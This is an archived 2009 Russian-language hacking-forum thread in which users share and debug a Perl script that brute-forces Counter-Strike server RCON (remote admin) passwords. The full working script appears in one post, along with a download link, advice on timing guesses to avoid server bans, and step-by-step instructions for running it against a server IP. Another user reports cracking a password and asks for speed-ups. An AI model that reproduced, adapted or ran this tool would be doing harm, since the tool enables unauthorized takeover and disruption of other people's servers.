ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

19.06.2009, 01:04
|
|
Постоянный
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме: 5111568
Репутация:
2399
|
|
Сообщение от br1tva
Можешь сам изменить как нужно
Код:
..................
while(1) {
sleep(3);
# server is not full
# and we are connected
$c = "\xFF\xFF\xFF\xFF".
"rcon ".$id.' "'.$pasw.'" sv_restart 1'."\x00";
syswrite $sock, $c;
sysread $sock,$a,65535;
# print '---'.$a."\n\n\n\n";
if ($a =~ /Bad rcon_password/) {
#bad rcon_password
print ' - '.$pasw."\n";
} else {
print ' [+] '.$pasw."\n";
exit(0);
}
$pasw = shift @p;
if (!$pasw) {print ' [-] password not found!';exit(0);}
}
exit();
но ето не через rcon_connect
uasc.org.ua/files/csBrute-.ZIP
качай. там три версии..
Последний раз редактировалось eLWAux; 19.06.2009 в 01:07..
|
|
|

19.06.2009, 01:15
|
|
Познающий
Регистрация: 26.12.2007
Сообщений: 38
Провел на форуме: 1555641
Репутация:
8
|
|
со sleep (3) всё таки сервер банит ... а вот с sleep(10) брутит на ура (=
|
|
|

19.06.2009, 22:27
|
|
Новичок
Регистрация: 18.06.2009
Сообщений: 19
Провел на форуме: 27827
Репутация:
6
|
|
Сообщение от br1tva
со sleep (3) всё таки сервер банит ... а вот с sleep(10) брутит на ура (=
 sleep (3) и sleep(10) ,цифры 3 и 10 означают задержку в секундах перед постановкой нового пароля?Да и ещё а как сохранять пройденный этап в словаре моно как то реализовать. И как сделать с полным перебором по буквам и символам чтоб он работал,т.е. даж без словарика.
Последний раз редактировалось Oledga; 19.06.2009 в 22:32..
|
|
|

19.06.2009, 12:14
|
|
Познающий
Регистрация: 29.05.2009
Сообщений: 55
Провел на форуме: 807573
Репутация:
7
|
|
перл запускать нужно через командную строку.
|
|
|

19.06.2009, 12:53
|
|
Новичок
Регистрация: 18.06.2009
Сообщений: 19
Провел на форуме: 27827
Репутация:
6
|
|
Сообщение от Dark_cracker
перл запускать нужно через командную строку.
ппс попробовал через командную ввожу IP и порт и нифига стоит eLWAux и br1tva поможите! 
Последний раз редактировалось Oledga; 19.06.2009 в 13:02..
|
|
|

19.06.2009, 13:13
|
|
Познающий
Регистрация: 26.12.2007
Сообщений: 38
Провел на форуме: 1555641
Репутация:
8
|
|
Напиши свою асю , помогу разобраться !!
|
|
|

19.06.2009, 14:46
|
|
Новичок
Регистрация: 18.06.2009
Сообщений: 19
Провел на форуме: 27827
Репутация:
6
|
|
Сообщение от br1tva
Напиши свою асю , помогу разобраться !!
аси нету есь емаил найдеш в моем профиле или луче через форум я постоянно сморю его в ету тему пиши
,а так то я все правильно сделал?У мня 2 сетевухи 2 мож отрубить надо попробую вечером мож запашет 
|
|
|

19.06.2009, 15:56
|
|
Познающий
Регистрация: 26.12.2007
Сообщений: 38
Провел на форуме: 1555641
Репутация:
8
|
|
Для начала тебе нужно немного подправить код csBrute-RconPassword.pl , открой csBrute-RconPassword.pl блокнотом NotePad далее замени код на вот этот:
use IO::Socket;
print "\n".
" CS <RCON password> bruter\n".
" eLwaux(c)2009\n\n\n";
if (!$ARGV[0]) {
print " use: csBrute.pl <host> <port> <server password > <name>\n".
" csBrute.pl 1.2.3.4 27015 abc usernamer\n";
exit(0);
}
$host = shift || '1.2.103.250';
$port = shift || '27015';
$serverpass = shift || 'n0th1ng';
$name = shift || 'pomKa';
$pasw = 'server is not protected by password!';
open (FILE, '<pass.txt') || die(" [-] pass.txt not found!\n");
my @p : shared = <FILE>;
print ' > Loaded '.scalar(@p)." password(s)\n";
chomp(@p);
close(FILE);
my $good = 0;
my $sock = new IO::Socket::INET(
PeerAddr=>$host,
PeerPort=>$port,
Proto=>'udp') || die " [-] server not found!";
$c = "\xFF\xFF\xFF\xFFgetchallenge valve\x0a";
syswrite $sock, $c;
sysread $sock,$a,65535;
# ****A00000000 99271855 2
if ($a =~ /\xFF\xFF\xFF\xFFA00000000\x20(\d+)/) {
$id = $1;
$c =
"\xFF\xFF\xFF\xFF".
"connect 47 ".$id." ".
'"\prot\2\raw\d984a05fa268b7cc6ac052a38960aeb'.ran d(9).'" '.#2
'"'.
'\_cl_autowepswitch\1'.
'\bottomcolor\6'.
'\cl_dlmax\80'.
'\cl_lc\1'.
'\cl_lw\1'.
'\cl_updaterate\20'.
'\model\gordon'.
'\name\\'.$name.
'\topcolor\30'.
'\_pw\cracker'.
'\lac_id\LACID_NOLAC'.rand(9).''.
'\_vgui_menus\1'.
'\_ah\0'.
'\lang\ru'.
'\dzuid\DZUID_0:0:7528570'.rand(9).''.#9
'\rate\25000'.
'\*fid\0'.
'\password\\'.$serverpass.
'"'."\x0a";
# print $c;
syswrite $sock, $c;
sysread $sock,$a,65535;
# full server: ****B 129 "1.2.3.4:25015" 0
# unk password: BADPASSWORD
# serv full : SERVERISFULL
if ($a =~ /SERVERISFULL/) {
print 'FULL SERVER. waiting few seconds..'."\n";
sleep(10);
}
elsif($a =~ /BADPASSWORD/) {
print " [-] Bad PlayerPassword!\n";
exit(0);
}
else { $good = 1; }
} else {
if ($a=~/banned/) {
print ' [!] you are banned!'."\n".
" change IP!\n";
exit(0);
} else {
print ' [-] some trouble with answer ('.$a.')!'."\n";
exit(0);
}
}
while(1) {
sleep(10);
# server is not full
# and we are connected
$c = "\xFF\xFF\xFF\xFF".
"rcon ".$id.' "'.$pasw.'" sv_restart 1'."\x00";
syswrite $sock, $c;
sysread $sock,$a,65535;
# print '---'.$a."\n\n\n\n";
if ($a =~ /Bad rcon_password/) {
#bad rcon_password
print ' - '.$pasw."\n";
} else {
print ' [+] '.$pasw."\n";
exit(0);
}
$pasw = shift @p;
if (!$pasw) {print ' [-] password not found!';exit(0);}
}
exit();
Далее заходишь в c:\WINDOWS\system32\ и находишь там файл cmd.exe , копируешь его в папку с брутом.
В папке с брутом запускаешь cmd.exe и в командной строке прописываешь следующие: csBrute-RconPassword.pl 78.84.231.21 27015
Вместо 78.84.231.21 ип адрес сервера который ты собрался брутить.
P.S
Теперь вопросов не должно быть (=
|
|
|

19.06.2009, 22:01
|
|
Новичок
Регистрация: 18.06.2009
Сообщений: 19
Провел на форуме: 27827
Репутация:
6
|
|
Сообщение от br1tva
Для начала тебе нужно немного подправить код csBrute-RconPassword.pl , открой csBrute-RconPassword.pl блокнотом NotePad далее замени код на вот этот:
[color=red] use IO::Socket;
Вместо 78.84.231.21 ип адрес сервера который ты собрался брутить.
P.S
Теперь вопросов не должно быть (=
Спасибус огромнейшус я вроде так и делал тока сначала запускал командную строку а потом мышкой перетаскивал в нее файл csBrute-RconPassword.pl ,прописывал айпи и порт и нифига стоит кстати потом еще раз попробовал по твоему способу нашел пароль ,а перетаскиванием мышью нехатит. Скорость тока малявата и многопоточности бы добавить немешало(для увеличения скорости).Ну это уже кое-что будем эксперемнтировать дальше скорость ведь надо поднимать ,завтра есче на своем цевильном с amx_плагинами серваке попробую обязательно отпишусь. 
|
|
|

19.06.2009, 16:14
|
|
Познающий
Регистрация: 16.04.2009
Сообщений: 83
Провел на форуме: 967037
Репутация:
16
|
|
а если rcon пустой? xDDD
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|